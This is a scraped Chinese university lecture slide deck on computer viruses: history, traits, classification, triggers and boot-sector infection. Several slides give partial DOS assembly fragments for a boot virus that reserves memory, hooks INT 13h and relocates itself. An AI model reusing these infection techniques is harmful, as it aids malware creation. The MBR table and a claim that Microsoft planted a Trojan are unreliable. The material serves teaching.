187
网网网网网网网 《》 网网网网网网网网 [email protected]

《 网络信息安全 》

  • Upload
    gannon

  • View
    56

  • Download
    1

Embed Size (px)

DESCRIPTION

《 网络信息安全 》. 中国科学技术大学 肖 明 军 [email protected]. 第 8 章 计算机病毒. 计算机病毒概述 计算机病毒原理 计算机病毒编制的关键技术 蠕虫 木马 病毒对抗技术. 计算机病毒概述. 概述. 1. 计算机病毒定义. 计算机病毒的特征. 2. 计算机病毒的历史. 3. 计算机病毒的分类. 4. 名称的由来. 由生物医学上的 “ 病毒 ” 一词借用而来 与生物医学上 “ 病毒 ” 的异同 同:都具有传染性、流行性、针对性等 异:不是天生的,而是人为编制的具有特殊功能的程序 - PowerPoint PPT Presentation

Citation preview

Page 1: 《 网络信息安全 》

《网络信息安全》中国科学技术大学

肖 明 军[email protected]

Page 2: 《 网络信息安全 》

第 8 章 计算机病毒

• 计算机病毒概述

• 计算机病毒原理

• 计算机病毒编制的关键技术

• 蠕虫

• 木马

• 病毒对抗技术

Page 3: 《 网络信息安全 》

3

计算机病毒概述

Page 4: 《 网络信息安全 》

4

概述

1

计算机病毒的特征2

计算机病毒的历史 3

计算机病毒的分类 4

计算机病毒定义

Page 5: 《 网络信息安全 》

5

名称的由来

• 由生物医学上的“病毒”一词借用而来

• 与生物医学上“病毒”的异同 同:都具有传染性、流行性、针对性等 异:不是天生的,而是人为编制的具有特殊功能的程序

• “ 计算机病毒”一词最早出现在美国作家 Thomas J.Ryan 于 1977年出版的科幻小说他在书中虚构了一种能够自我复制、自我传播的计算机程序,并且给它起了一个奇怪的名字——计算机病毒。他可能作梦也没有想到过,不到十年,他的幻想就变成了严酷的现实。

Page 6: 《 网络信息安全 》

6

潘多拉的盒子

• 1983 年,美国的一个名叫旨雷德科恩的博士研究生,作了一篇关于计算机病毒的博士论文,论文的研究内容是:电脑程序能否自我繁殖和进入其它程序。其本意是想检验一个电脑程序能不能改变、影响另一个程序。检验结果证明,这是可行的,一个程序只要编得巧妙完全可以破坏、改变另一个程序。于是,这位研究生顺利通过了答辩,获得了博士学位。

• 但是,这位博士论文的通过,无意间打开了一个“潘多拉的盒子”放出了一个真正的恶魔,从此,计算机世界就永无宁日了。

Page 7: 《 网络信息安全 》

7

计算机病毒定义

• 广义的定义:凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒( Computer Virus )。

• 1994 年 2 月 18 日,我国正式颁布实施了《中华人民共和国计算机信息系统安全保护条例》,在《条理》第 28 条中对计算机病毒的定义为:“指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能够自我复制的一组计算机指令或者程序代码”。 此定义具有法律性、权威性。

Page 8: 《 网络信息安全 》

8

CIHCIH 病毒病毒CIHCIH 病毒病毒

CIH 病毒的签名

CIH 作者陈盈豪

Page 9: 《 网络信息安全 》

9

骇人听闻的女鬼病毒骇人听闻的女鬼病毒骇人听闻的女鬼病毒骇人听闻的女鬼病毒

恐怖的图片和音乐

Page 10: 《 网络信息安全 》

10

白雪公主病毒白雪公主病毒白雪公主病毒白雪公主病毒

巨大的黑白螺旋占据了屏幕位置,使计算机使用者无法进行任何操作!

Page 11: 《 网络信息安全 》

11

我国计算机用户病毒感染率

计算机病毒感染率

73%

83. 98% 85. 57% 87. 93%

80. 00%

50%

60%

70%

80%

90%

100%

2001年 2002年 2003年 2004年 2005年

( )中国互联网用户的数量 百万

26. 5

45. 8

68

87

103

0

20

40

60

80

100

120

2001年 2002年 2003年 2004年 2005年

Page 12: 《 网络信息安全 》

12

计算机用户感染病毒的次数

病毒重复感染情况

0%10%20%30%40%50%60%70%80%90%

1次 2次 3次以上

20012002200320042005

Page 13: 《 网络信息安全 》

13

最有破坏力的病毒

• 1. CIH (1998 年 ) 感染 Win95/98 中的可行性文件 , 这种病毒在 Windows

环境下传播 , 其实时性和隐蔽性都特别强 , 变种可以重写 BIOS. 大约在世界范围内造成了两千万到八千万美元的损失 .

• 2. 梅利莎 (Melissa,1999 年 ) Melissa 病毒是一种迅速传播的宏病毒 , 它作为电子邮件的

附件进行传播 , 尽管 Melissa 病毒不会毁坏文件或其它资源 , 但是它可能会使企业或其它邮件服务端程序停止运行 , 因为它发出大量的邮件形成了极大的电子邮件信息流 . 1999年 3 月 26 日爆发 , 感染了 15%-20% 的商业电脑 , 带来了三千万到六千万美元的损失 .

Page 14: 《 网络信息安全 》

14

最有破坏力的病毒

• 3. 爱虫 (I love you, 2000 年 ) 和 Melissa 一样通过电子邮件传播 , 而其破坏性要比 Melissa 强的多 ,

可以删除本地部分图片和文本 , 大约造成了一千万到一千五百万美元的损失 .

• 4. 红色代码 (Code Red, 2001 年 ) Code Red 是一种蠕虫病毒 , 本质上是利用了缓存区溢出攻击方式 , 使

用服务器的端口 80 进行传播 , 而这个端口正是 Web 服务器与浏览器进行信息交流的渠道 . 与其它病毒不同的是 , Code Red 并不将病毒信息写入被攻击服务器的硬盘 , 它只是驻留在被攻击服务器的内存中 . 大约在世界范围内造成了二百八十万美元的损失 .

Page 15: 《 网络信息安全 》

15

计算机病毒的表现现象

• 1 .平时运行正常的计算机突然经常性无缘无故地死机。• 2 .运行速度明显变慢。• 3 .打印和通讯发生异常。 • 4 .系统文件的时间、日期、大小发生变化。• 5 .磁盘空间迅速减少。• 6 .收到陌生人发来的电子邮件。• 8 .硬盘灯不断闪烁。• 9 .计算机不识别硬盘。• 10 .操作系统无法正常启动。• 11 .部分文档丢失或被破坏。• 12 .网络瘫痪。

Page 16: 《 网络信息安全 》

16

2 计算机病毒的特性

• 计算机病毒也是计算机程序,有着生物病毒相似的特性,病毒驻留在受感染的计算机内,并不断传播和感染可连接的系统,在满足触发条件时,病毒发作,破坏正常的系统工作,强占系统资源,甚至损坏系统数据。 1. 传染性 5. 针对性 9. 非授权性 2. 潜伏性 6. 隐蔽性 3. 可触发性 7. 衍生性 4. 破坏性 8. 寄生性

Page 17: 《 网络信息安全 》

17

传染性

• 传染性是病毒的基本特征。病毒通过修改磁盘扇区信息或文件内容,并把自身嵌入到一切符合其传染条件的未受到传染的程序之上,实现自我复制和自我繁殖,达到传染和扩散的目的。被感染的程序和系统将成为新的传染源,在与其它系统和设备接触时继续进行传播。

• 其中,被嵌入的程序叫做宿主程序。病毒的传染可以通过各种移动存储设备,如软盘、移动硬盘、 U 盘、可擦写光盘、手机、 PDA 等;病毒可以通过有线网络、无线网络、手机网络等渠道迅速波及全球。例如,“爱虫”病毒在两天内迅速传播到世界的主要计算机网络,并造成欧、美国家的计算机网络瘫痪。

Page 18: 《 网络信息安全 》

18

潜伏性

• 病毒在进入系统之后通常不会马上发作,可长期隐藏在系统中,除了传染外不做什么破坏,以提供足够的时间繁殖扩散。病毒在潜伏期,不破坏系统,因而不易被用户发现。潜伏性越好,其在系统中的存在时间就会越长,病毒的传染范围就会越大。病毒只有在满足特定触发条件时才启动其破坏模块。例如, PETER-2 病毒在每年的 2 月 27 日会提三个问题答错后会将硬盘加密。著名 CIH 病毒在每月的26 日发作。

Page 19: 《 网络信息安全 》

19

可触发性

• 病毒因某个事件或数值的出现,激发其进行传染,或者激活病毒的表现部分或破坏部分的特性称为可触发性。计算机病毒一般都有一个或者多个触发条件,病毒的触发机制用来控制感染和破坏动作的频率。病毒具有的预定的触发条件可能是敲入特定字符,使用特定文件,某个特定日期或特定时刻,或者是病毒内置的计数器达到一定次数等。病毒运行时,触发机制检查预定条件是否满足,满足条件时,病毒触发感染或破坏动作,否则继续潜伏。

Page 20: 《 网络信息安全 》

20

破坏性

1. 占用 CPU 资源,额外占用或消耗内存空间,或禁止分配内存、蚕食内存,导致一些大型程序执行受阻,使系统性能下降。

2. 干扰系统运行,例如不执行命令、干扰内部命令的执行、虚发报警信息、打不开文件、内部栈溢出、占用特殊数据区、时钟倒转、重启动、死机、文件无法存盘、文件存盘时丢失字节、内存减小、格式化硬盘等。

3. 攻击 CMOS 。 CMOS 是保存系统参数(如系统时钟、磁盘类型、内存容量等)的重要场所。有的病毒(如 CIH 病毒)可以通过改写 CMOS参数,破坏系统硬件的运行。

4. 攻击系统数据区。硬盘的主引导扇区、 boot (引导)扇区、 FAT (文件分配)表、文件目录等,是系统重要的数据,这些数据一旦受损,将造成相关文件的破坏。

Page 21: 《 网络信息安全 》

21

破坏性

5. 干扰外部设备运行,如• 干扰键盘操作。如 EDV 病毒能封锁键盘,使按任何键都没有反应;还

有病毒产生换字、抹掉缓存区字符、输入紊乱等。• 干扰屏幕显示。如小球病毒产生跳动的小白点;瀑布病毒使显示的字符像雨点一样一个个落到屏幕底部等。

• 干扰声响。如感染 Attention 病毒后,每按一键,喇叭就响一声; Yankee Doodle 病毒在每天下午 5 时整会播出歌曲“ Yankee Doodle” ;救护车病毒( Ambulance Car )会在屏幕上出现一辆鸣着警笛来回跑的救护车。

• 干扰打印机。如 Azsua 病毒可以封锁打印机接口 LPT1 ,当使用打印机时,会发出缺纸的假报警; 1024SBC 病毒会使打印机出现断断续续的打印失常; Typo-COM 病毒会更换字符。

Page 22: 《 网络信息安全 》

22

破坏性

6. 攻击文件。现在发现的病毒中,大多数是文件型病毒。这些病毒会使染毒文件的长度、文件存盘时间和日期发生变化。例如,百年病毒、 4096 病毒等。

7. 劫取机密数据。例如,微软公司在它的 Microsoft Network中加入一种特洛伊木马程序,会把用户系统软件和硬件的完整清单送回到微软公司。

8. 破坏网络系统的正常运行。例如发送垃圾邮件、占用带宽,使网络拒绝服务等。

9. 有些病毒的破坏作用往往是多样的。

Page 23: 《 网络信息安全 》

23

针对性

• 病毒是针对特定的计算机、操作系统、服务软件、甚至特定的版本和特定模版而设计的。例如:小球病毒是针对 IBM PC 机及其兼容机上的 DOS 操作系统的。“ CodeBlue(蓝色代码)”专门攻击 WINDOWS 2000 操作系统。英文 Word 中的宏病毒模板在同一版本的中文 Word 中无法打开而自动失效。 2002 年 1 月 8 日出现的感染 SWF文件的 SWF.LFM.926 病毒由于依赖Macro-media独立运行的 Flash 播放器,而不是依靠安装在浏览器中插件,使其传播受到限制。

Page 24: 《 网络信息安全 》

24

隐蔽性

• 大部分病毒都设计得短小精悍,一般只有几百 K甚至几十 K字节,并且,病毒通常都附在正常程序中或磁盘较隐蔽的地方(如引导扇区),或以隐含文件形式出现,目的是不让用户发现它的存在。如果不经过代码分析,病毒程序与正常程序是不容易区别开的。病毒在潜伏期并不恶意破坏系统工作,受感染的计算机系统通常仍能正常运行,用户不会感到任何异常,从而隐藏病毒的存在,使病毒可以在不被察觉的情况下,感染尽可能多的计算机系统。

Page 25: 《 网络信息安全 》

25

隐蔽性(续)

• 传染的隐蔽性。大多数病毒在进行传染时速度极快,一般不具有外部表现,不易被发现。 PC 机对 DOS 文件的存取速度可达每秒几百 KB 以上,几百字节的病毒可在转瞬间附着在正常的程序之中,不易被人察觉。

• 存在的隐蔽性。病毒一般都附着在正常程序之中,正常程序被计算机病毒感染后,其原有功能基本上不受影响,使病毒在正常程序的工作过程中不断得到运行,传染更多的系统和资源,与正常程序争夺系统的控制权和磁盘空间,不断地破坏正常的系统。

Page 26: 《 网络信息安全 》

26

衍生性

• 很多病毒使用高级语言编写,如“爱虫”是脚本语言病毒,“美丽杀”是宏病毒 , 通过分析计算机病毒的结构可以了解设计者的设计思想,从而衍生出各种新的计算机病毒,称为病毒变种。这就是计算机病毒的衍生性。变种病毒造成的后果可能比原版病毒更为严重。“爱虫”病毒在十几天中,出现三十多种变种。“美丽杀”病毒也有多种变种,并且此后很多宏病毒都使用了“美丽杀”的传染机理。这些变种的主要传染和破坏的机理与母体病毒基本一致,只是改变了病毒的外部表象。

Page 27: 《 网络信息安全 》

27

寄生性

• 病毒的寄生场所寄生是病毒的重要特征。计算机病毒一般寄生在以下地方: 寄生在可执行程序中。一旦程序执行,病毒就被激活,病毒程序首先被执行并常驻内存,然后置触发条件。感染的文件被执行后,病毒就会趁机感染下一个文件。

寄生在硬盘的主引导扇区中。这类病毒也称引导型病毒。任何操作系统都有自举过程,自举依靠引导模块进行,而操作系统的引导模块总是放在某个固定位置,这样系统每次启动就会在这个固定的地方来将引导模块读入内存,紧接着就执行它,来把操作系统读入内存,实现控制权的转接。引导型病毒程序就是利用这一点,它自身占据了引导扇区而将原来的引导扇区的内容和病毒的其他部分放到磁盘的其他空间,并将这些扇区标志为坏簇,不可写其他信息。这样,系统的一次初始化,就激活一次病毒,它首先将自身拷贝到内存,等待触发条件到来。

Page 28: 《 网络信息安全 》

28

寄生性

引导型病毒按其寄生对象,可以分为 MBR (主引导区)病毒和 BR (引导区)病毒。 MBR 病毒也称分区病毒,这类病毒寄生在硬盘分区主引导程序所占据的硬盘 0头 0柱面第 1 扇区,典型的有 Stoned (大麻)病毒、 2708 病毒等。 BR 病毒则寄生在硬盘逻辑 0 扇区或软盘 0 扇区(即 0面 0 道的第 1 扇区),典型的有 Brain 病毒、小球病毒等。

• 计算机病毒的寄生方式 替代法:病毒程序用自己的全部或部分代码,替代磁盘引导扇区或文件

中的全部或部分内容。 链接法:病毒程序将自身代码作为正常程序的一部分与原有正常程序链

接在一起。链接的位置可能在正常程序的首部、尾部或中间。

Page 29: 《 网络信息安全 》

29

非授权执行性

• 用户在调用一个程序时,常常就把系统的控制权交给这个程序并给它分配相应的系统资源,使程序的执行对用户是透明的。计算机病毒具有正常程序所具有的一切特性,它隐蔽在合法程序和数据中;当用户运行正常程序时,病毒伺机取得系统的控制权,先于正常程序执行,并对用户呈透明状态。

Page 30: 《 网络信息安全 》

30

其他特性

• 随着计算机软件和网络技术的发展,网络时代的病毒又具有很多新的特点如主动通过网络和邮件系统传播、传播速度极快、变种多;病毒不但能够复制自身给其他的程序,而且具有了蠕虫的特点,可以利用网络进行传播;具有了黑客程序的功能,一旦侵入计算机系统后,病毒控制可以从入侵的系统中窃取信息,远程控制这些系统。病毒的功能呈现多样化,也更具有危害性。

Page 31: 《 网络信息安全 》

31

3 计算机病毒分类

• 1. 按照计算机病毒的危害程度分类

• 2. 按照传染方式分类

• 3. 按照计算机病毒的寄生方式分类

• 4. 其他一些分类方式

Page 32: 《 网络信息安全 》

32

按照计算机病毒的危害程度分类

• 良性病毒是指不对计算机系统和数据进行彻底破坏的病毒。这类病毒占用系统资源,会导致整个系统运行效率降;与操作系统和应用程序争抢 CPU 的控制权,导致整个系统死锁,妨碍正常的系统操作。在多个病毒交叉感染时也可造成系统崩溃。如小球病毒、 1575/1591 病毒、救护车病毒、扬基病毒、 Dabi 病毒。

• 恶性病毒是指能够损伤和破坏计算机系统及其数据,在其传染或发作时对系统产生彻底破坏作用的病毒。目的明确,破坏数据、删除文件、加密磁盘、甚至格式化磁盘。米开朗基罗病毒发作时,硬盘的前 17 个扇区将被彻底破坏,使整个硬盘上的数据无法被恢复。

Page 33: 《 网络信息安全 》

33

按照传染方式分类

• 引导型病毒:主要通过感染软盘、硬盘上的引导扇区或改写磁盘分区表( FAT )来感染系统,引导型病毒是一种开机即可启动的病毒,优先于操作系统而存在。该病毒几乎常驻内存,激活时即可发作,破坏性大,早期的计算机病毒大多数属于这类病毒。

• 文件型病毒:它主要是以感染 COM 、 EXE 等可执行文件为主,被感染的可执行文件在执行的同时,病毒被加载并向其它正常的可执行文件传染。病毒以这些可执行文件为载体,当运行可执行文件时就可以激活病毒。

• 宏病毒:宏病毒是一种寄存于文档或模板的宏中的计算机病毒,是利用宏语言编写的。

Page 34: 《 网络信息安全 》

34

按照计算机病毒的寄生方式分类

• 源码型病毒是用高级语言编写的,攻击用高级语言编写的程序。这种病毒若不进行汇编、链接,就无法传染扩散。

• 嵌入型病毒是将自身嵌入到现有程序中,把计算机病毒的主体程序与其攻击的对象以插入的方式链接。技术难度较大,一旦侵入后也较难消除。

• 外壳型病毒寄生在宿主程序的前面或后面,并修改程序的第一条执行指令,使病毒先于宿主程序执行。易于编写,易于发现,通过文件的大小判别。

Page 35: 《 网络信息安全 》

35

其他分类方式

• 按照攻击的操作系统可分为:攻击 DOS 操作系统的、攻击Windows 系统的、攻击 UNIX系统的、攻击 OS/2 系统的病毒。

• 按照计算机病毒激活的时间可分为:定时发作的病毒和不由时钟来激活的随机病毒。

• 按照传播媒介可分为:以磁盘为载体的单机病毒和以网络为载体的网络病毒。

• 按攻击的机型还可将病毒分为:攻击微型机的病毒、攻击小型机的病毒和攻击工作站的病毒。

Page 36: 《 网络信息安全 》

36

计算机病毒的传播

• 第一种途径 :通过不可移动的计算机硬件设备进行传播。设备中有计算机的专用 ASIC ( Application Specific Integrated Circuit ,特定用途集成电路)芯片和硬盘等。这种病毒极少,破坏力极强。

• 第二种途径:通过移动存储设备传染。如软盘、 U 盘、可擦写光盘、 MP3 、存储卡、记忆棒等。

• 第三种途径:通过计算机网络传播,是传播的主流途径,也是危害最大的传播途径。

• 第四种途径:通过点对点通信系统和无线通道传播。

Page 37: 《 网络信息安全 》

37

病毒传播的主要途径

病毒传播的主要途径

0%

10%

20%

30%

40%

50%

60%

网络下载或浏览 电子邮件 局域网 光盘或磁盘

20012002200320042005

Page 38: 《 网络信息安全 》

38

病毒的发展趋势

• 黑客、木马和间谍软件数量大幅度增长

• Botnet (僵尸网络)日益严重

• IM(即时通讯 ) 和 P2P 软件成为传播病毒主要途径

• 病毒的目的性愈来愈强

• 手机病毒提高防范程度

• 警惕利用 IM 等应用软件漏洞自动传播的病毒

• 网页仿冒和网址嫁接成为新的网络公害

Page 39: 《 网络信息安全 》

39

计算机病毒原理

Page 40: 《 网络信息安全 》

40

计算机病毒的结构

计算机病毒的种类很多,但是它们的主要结构是类似的,一般需要包含 4部分:引导部分、传染部分、表现部分和破坏部分。

( 1 )引导部分:就是病毒程序的初始化部分。它的作用是将病毒的主体加载到内存,为传染部分做准备(如驻留内存、修改中断、修改高端内存、保存原中断向量等操作)。

( 2 )传染部分:作用是将病毒代码复制到传染目标上去。传染需要一定的条件。不同类型的病毒在传染方式、传染条件上各不相同。进行传播之前,先要判断传染条件。

( 3 )表现部分:作用是在被传染系统上表现出特定现象。大部分病毒都是在一定条件下才会触发表现部分的。

( 4 )破坏部分:作用是产生破坏被传染系统的行为。

Page 41: 《 网络信息安全 》

41

计算机病毒的引导过程

• 计算机病毒的引导过程一般分为三步:驻留内存、窃取控制权和恢复系统功能。

• 1. 驻留内存 病毒要发挥其破坏作用,多数要驻留内存。为了驻留内存,就必须开辟

内存空间或覆盖系统占用的部分内存空间。• 2. 窃取控制权

计算机病毒驻留内存后,接下来的工作是取代或扩充系统原有功能,并窃取系统的控制权。

• 3. 恢复系统功能 计算机病毒窃取系统控制权后,就要开始潜伏等待,即根据其设计思想,

隐蔽自己,等待时机,在条件成熟时,再进行传染和破坏。然而,病毒为了隐蔽自己,驻留内存后还要恢复系统,使系统不致死机。

Page 42: 《 网络信息安全 》

42

计算机病毒的触发机制

• 下面例举一些病毒的触发(激活)条件。• ( 1 )日期 / 时间触发:计算机病毒读取系统时钟,判断是否激活。例如:

PETER-2 ,在每年 2 月 27 日会提出 3 个问题,答错后会将硬盘加密。 Yankee Doodle ,在每天下午 5 时发作。 “黑色星期五”,逢 13 日的星期五发作。 “ 上海一号”,在每年的三、六、九月的 13 日发作。 1998 年 2 月,台湾省的陈盈豪,编写出了破坏性极大的 Windows 恶性病毒 CI

H-1.2 版,并定于每年的 4 月 26 日发作破坏,然后,悄悄地潜伏在网上的一些供人下载的软件中。可是,两个月的时间,被人下载的不多,到了 4 月 26 日,病毒只在台湾省少量发作,并没引起重视。陈盈豪又炮制了 CIH-1.3 版,并将破坏时间设在 6 月 26 日。 7 月,又炮制出了 CIH-1.4 版。最后,他干脆将破坏时间设为每个月的 26 日。

Page 43: 《 网络信息安全 》

43

计算机病毒的触发机制

• ( 2 )计数器触发:计算机病毒内部设定一个计数单元,对系统事件进行计数,判定是否激活。例如, 2708 病毒当系统启动次数达到 32 次时被激活,发起对串、并口地址的攻击。

• ( 3 )键盘触发:当敲入某些字符时触发(如 AIDS 病毒,在敲如 A 、 I 、 D 、S 时发作)、或以击键次数(如 Devil’s Dance 病毒在用户第 2000 次击键时被触发)或组合键等为激发条件(如 Invader 病毒在按下 Ctrl+Alt+Del键时发作)。

• ( 4 )启动触发:以系统的启动次数作为触发条件。例如 Anti-Tei 和 Telecom病毒当系统第 400 次启动时被激活。

• ( 5 )感染触发:以感染文件个数、感染序列、感染磁盘数、感染失败数作为触发条件。例如, Black Monday 病毒在运行第 240 个染毒程序时被激活; VHP2 病毒每感染 8 个文件就会触发系统热启动操作等。

• ( 6 )组合条件触发:用多种条件综合使用,作为计算机病毒的触发条件。

Page 44: 《 网络信息安全 》

44

计算机病毒的传播

• 计算机病毒的传播过程就是其传染过程。

• 病毒的传染大体上有如下三个途径:

• 1. 文件传染 传播病毒的文件可以分为三类:

( 1 )可执行文件,即扩展名为 .EXE , .PE , .SYS 等的文件。( 2 )文档文件或数据文件,例如 Word 文档, Exel 文档, Accss

数据库文件。宏病毒( Macro )就感染这些文件。( 3 ) Web 文档,如 .html 文档和 .htm 文档。已经发现的 Web

病毒有 HTML/Prepend 和 HTML/Redirect 等。

Page 45: 《 网络信息安全 》

45

计算机病毒的传播

文件传染可能采用如下一种方式: ( 1 )驻留( Resident )复制:复制病毒装入内存后,发现另一个系统运行的程序文件后进行

传染。 ( 2 )非驻留( Nonrresident )复制:病毒选择磁盘上一个或多个文件,不等它们装入内存,

就直接进行感染。

• 2. 引导扇区传染 引导扇区病毒在系统初始化时自动装入内存,然后简单地将指令指针(指令

计数器的内容)修改到一个存储系统指令的新的位置。于是便以普通方式启动,而病毒已经驻留在了内存。所以,不需要用户执行磁盘上任何被感染的程序,只要有访问磁盘的操作,就可以进行复制。

• 3. 网络及电子邮件传播 与文件传播和引导扇区传播不同,由于数据共享和相互协作网络传播的是病

毒直接通过网络传染到目标机系统。

Page 46: 《 网络信息安全 》

46

计算机病毒编制的关键技术

Page 47: 《 网络信息安全 》

47

引导型病毒编制的关键技术

1. DOS 系统的结构DOS 系统由以下 4 部分组成: 引导记录( Boot Record )。用于将 IO.SYS 模块装入内存。 IO.SYS ( DOS 的基本输入输出模块 BIOS ),由下面两块组成:

系统初始化程序 SYSINIT ,完成初始化工作,主要包括:确定系统设备配置和内存容量;初始化串、 I/O 并口;计算后面模块的装入位置并将 MSDOS.SYS 和 COMMAND.COM装入内存;设置系统参数,加载设置驱动程序。

标准字符和块设备驱动程,用于支持基本输入输出操作。 MSDOS.SYS ( DOS 的内核),提供应用程序管理、内存管理、文件

管理等。 COMMAND.COM ( DOS 的外壳),是用户与操作系统的接口。

Page 48: 《 网络信息安全 》

48

引导型病毒编制的关键技术

2. DOS 磁盘的区域分配 DOS格式化磁盘由 4 个区域组成:引导扇区( Boot A

rea )——硬盘含有主引导扇区、文件分配表( FAT )、根目录表( Root Directory Table , FDT )和文件数据区( Data Area )。

Page 49: 《 网络信息安全 》

49

引导型病毒编制的关键技术

( 1 )主引导扇区,位于硬盘的 0柱面 0 磁道 1 扇区,存放有主引导记录( Mian BootRecord,MBR )和 4 个分区表( Disk Partition Table, DPT )。下图为主引导扇区的结构。

区域 信息内容0000H ~ 00BAH 主引导记录启动程序008BH ~ 00D9H 主引导记录启动字符串01DAH ~ 01BDH 空闲区01BEH ~ 01CDH 分区 1 结构信息01CEH ~ 01DDH 分区 1 结构信息01DEH ~ 01FDH 分区 1 结构信息01EEH ~ 01FDH 分区 1 结构信息01FEH ~ 01FFH 55AAH 主引导记录有效标志

MBR 的作用是检查分区表是否正确以及确定哪个分区为活动分区(要将控制权交给的操作系统所在分区),并在程序结束时把该分区的启动程序(即操作系统引导扇区)调入内存加以执行。

Page 50: 《 网络信息安全 》

50

引导型病毒编制的关键技术

( 2 )引导扇区位于逻辑 0 扇区处(即软盘的 0面 0 道 1 扇区,硬盘的 DOS 分区的 1 扇区)。启动 PC 机时,系统首先对硬件设备进行测试,成功后进入自举程序 INT 19H (中断服务程序 INT 19H ),将引导记录调入内存的 0000H~7C00H处,并把控制权交给它。这时,引导记录将检查启动盘上是否有 DOS 系统,即根目录中的前两个文件是否为 IO.SYS 和MSDOS.SYS 。若是,则把文件 IO.SYS读入到内存的 70H~0H处,并把主控制权交给 IO.SYS ;否则给出非系统盘的错误信息。

Page 51: 《 网络信息安全 》

51

3. DOS 的自举过程在这个自举过程中,系统的控制权按照下面的顺序转移:

ROMBIOS→DOS 引导程序→ IO.SYS→MSDOS.SYS→COMMAND.COM→用户

引导型病毒编制的关键技术

Page 52: 《 网络信息安全 》

52

引导型病毒编制的关键技术

• 4. 引导型病毒的传染过程 引导型病毒制驻留在硬盘的主引导分区或硬 / 软盘的 DOS

引导分区的病毒。它的感染过程分两大步:装入内存和攻击。 1 )装入内存过程:

系统开机后,进入系统检测,检测正常后,从 0面 0 道 1 扇区,即逻辑 0 扇区读取信息到内存的 0000~7C00处:

– 正常时,磁盘 0面 0 道 1 扇区,即逻辑 0 扇区存放的是 boot 引导程序;– 操作系统感染了引导扇区病毒时,磁盘 0面 0 道 1 扇区,即逻辑 0 扇区

存放的是病毒引导部分, boot 引导程序被放到其他地方。例如,大麻病毒在软盘中将原 DOS 引导扇区搬移到 0 道 1面 3 扇区,在硬盘中将原 DOS 引导扇区搬移到 0 道 0面 7 扇区;香港病毒则将原 DOS 引导扇区搬移到 39 磁道第 8 扇区; Michelangelo 病毒在高密度软盘上,是第 27 扇区,在硬盘上是 0 道 0面 7 扇区。

Page 53: 《 网络信息安全 》

53

引导型病毒编制的关键技术 系统开始运行病毒引导部分,将病毒的其他部分读入到内存的某一安全区,常驻内存,监视系统的运行。

病毒修改 INT 13H (磁盘 I/O 中断)中断服务处理程序的入口地址,使之指向病毒控制模块并执行,以便必要时接管磁盘操作的控制权。

病毒程序全部读入后,接着读入正常 boot 内容到内存 0000:7C00H处,进行正常的启动过程(这时病毒程序已经全部读入内存,不再需要病毒的引导部分)。

病毒程序伺机等待随时感染新的系统盘或非系统盘。

2 )攻击过程病毒程序发现有可攻击的对象后,要进行下列工作:

将目标盘的引导扇区读入内存,判断它是否感染了病毒。 满足感染条件时,将病毒的全部或一部分写入 boot 区,把正常的磁盘引导区程序写

入磁盘特定位置。 返回正常的 INT 13H 中断服务处理程序,完成对目标盘的传染过程。

Page 54: 《 网络信息安全 》

54

引导型病毒编制的关键技术

• 5. 引导型病毒的编制技术 个人计算机开机后,会先执行主引导区代码这一机制,给引导型病毒窃取第一控制权提供了机会。但是引导型病毒窃取控制权的时间只能是短暂的,然后就要引导 DOS 操作系统,否则就将败露。在窃取控制权的这段时间内,病毒的引导部分主要要做下列事情。

( 1 )为病毒代码申请内存空间,为此要尽量减少 DOS 的存储空间。相关代码如下:

– …– xor ax,ax– move ss,ax ;置堆栈段寄存器为 0– mov sp,7c00h ;置堆栈指示器寄存器为 7c00h– mov ds,ax ;置数据段寄存器为 0– mov ax,word ptr ds:[413h] ; 此处存放最大内存空间 0000:0413– sub ax,4 ; 给病毒申请 4kB 的内存空间– mov ds:[413h],ax

Page 55: 《 网络信息安全 》

55

引导型病毒编制的关键技术

( 2 )修改传播需要的中断向量。相关代码如下:– …– begin proc far– push ds ; ax置 0 后, ds:ax 进栈,确保返回 dos 时恢复

中断向量– sub ax,ax ;– push ax– mov ax,code ; 将代码段地址装入 ds,es– mov ds,ax– mov ex,ax– mov ax, seg ctrl_c ; 修改向量, ds:dx 指向 ctrl_c 中断子程序– mov ds, ax ;– mov dx, offset ctrl_c– mov ah,25h ; 调用号 ah=25H ,表示设置中断向量– mov al,23h ; 被修改中断向量号 al=23H– int 21h ; 系统调用指令

Page 56: 《 网络信息安全 》

56

引导型病毒编制的关键技术 ( 3 )读入病毒的其他部分,进行病毒拼装(在内存高端):先从已经标记的簇中某扇区读入病毒的其他部分(这些簇往往被标记为坏簇),然后再读入原引导记录到 0000:7C00H处,跳转执行。相关代码如下:

– mov cl,06h– shl ax,cl ; (ax)=8F80– add ax,0840h ; (ax)=97c0– mov es,ax– mov si,7c00h ; (si)=7c00– mov di,si– mov cx,0100h– repz movsw ; 将病毒移到高端

– v2: push ax– pop ds– push ax– mov bx,7c4bh– push bx– ret ; 指令执行转入高端内存– call v3

Page 57: 《 网络信息安全 》

57

引导型病毒编制的关键技术

– v3:xor ah,ah ; (ah)=0– int 13h ; 13H 中断调用– mov ah,80h– and byte ptr ds:[7df8h],al ;– v4:mov bx,word ptr ds:[7df9h] ;读入病毒的其他部分– push cs– pop ax ; (ax)=97c0– sub ax,20h ; (ax)=97c0– move s, ax ; (es)=97c0– call v9– mov bx,word ptr ds:[7df9h] ; 加载逻辑扇区号– inc bx ; bx++是引导扇区– mov ax,0ffc0h ; ffc0:8000=0000:7c00读入原引导分区内容

Page 58: 《 网络信息安全 》

58

引导型病毒编制的关键技术– move s,ax– call v9– xor ax,ax ; (ax)=0– mov byte ptr ds:[7df7h],al ; 标志清 0– v5: mov ds,ax ; (ds)=0– mov ax,word ptr ds:[4ch]– mov bx,word ptrds:[4ch] ; 修改中断向量– mov word ptr ds:[4ch],7cd6h – mov word ptr ds:[4ch],cs ; 新 int 13H 中断已修改– push cs– pop ds ; (ds)=(cs)– mov word ptr ds:[7d30h]:ax ;保存原来的 int 13H 中断向量

– mov word ptr ds:[7d32h]:bx ; – v6: mov dl,byte ptr ds:[7df8h] ;加载驱动器盘符– v7: jmp 0000:7c00 ;跳转– db 0eah,00h,7ch,00h,00h ;跳转指令的二进制代码

Page 59: 《 网络信息安全 》

59

引导型病毒编制的关键技术 ( 4 )读入原主引导分区,转去执行 DOS 的引导工作。 http://net.csai.cn/Secure_Virus/200707101030001161.htm

Page 60: 《 网络信息安全 》

60

COM 文件型病毒编制的关键技术

